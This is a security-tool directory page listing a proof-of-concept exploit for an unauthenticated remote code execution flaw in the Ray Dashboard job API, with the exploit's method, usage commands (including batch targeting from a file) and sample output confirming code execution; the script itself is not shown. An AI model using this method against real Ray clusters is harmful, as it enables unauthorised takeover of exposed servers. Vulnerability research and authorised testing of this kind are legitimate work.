Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-62593-PoC — PoC for CVE-2025-62593: unauthenticated RCE in Ray (CISA KEV). Stdlib-only Python. | Kitploit
Tools/GitHubGitHub/boreas37/cve-2025-62593-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAI Security
GitHubboreas37/cve-2025-62593-poc

CVE-2025-62593-PoC

PoC for CVE-2025-62593: unauthenticated RCE in Ray (CISA KEV). Stdlib-only Python.

View Repository
2343 months agoNot yet reviewed
Share

CVE-2025-62593 — Ray Remote Code Execution (unauthenticated)

Proof-of-concept for CVE-2025-62593, an unauthenticated Remote Code Execution vulnerability in the Ray distributed AI compute engine, abused via browser-based DNS-rebinding attacks. It was added to the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited.

The root cause is a long-standing design decision by the Ray team to run no authentication on critical HTTP endpoints such as /api/jobs and /api/job_agent/jobs. Because of that, an unauthenticated remote attacker can submit a Ray Job whose entrypoint is an arbitrary command, which then executes on the cluster head node — full remote code execution.

This PoC talks to the Ray Dashboard HTTP API directly (no browser/DNS-rebinding needed to demonstrate the underlying bug) and recovers the command output from the job logs.

Impact

  • CVSS: Critical (9.8)
  • Affected: Ray < 2.52.0 (patch released for this advisory)
  • CISA KEV: Yes — active exploitation, remediation deadline enforced
  • Exposes the ~200k+ publicly reachable Ray AI clusters to pre-auth RCE

What it does

  1. POST /api/jobs/ with an entrypoint that runs your command and captures its stdout/stderr into a temp file, then prints the file back.
  2. Polls GET /api/jobs/ until the job reaches a terminal state.
  3. Reads GET /api/jobs/<submission_id>/logs and prints the command output.

Usage

# Single target
python3 ray_rce_poc.py --target http://HOST:8265

# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"

# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id

# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json

# Help
python3 ray_rce_poc.py --help

Requires Python 3 stdlib only — no third-party dependencies.

Example (verified against a local Docker lab)

$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)

References

  • CISA KEV catalog
  • GitHub Security Advisory GHSA-q279-jhrf-cc6v

Disclaimer

For security research and authorized testing only. Use only against systems you own or have explicit permission to test. The author is not responsible for misuse.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    264

Explore all tools

Browse our collection of tools

View all tools →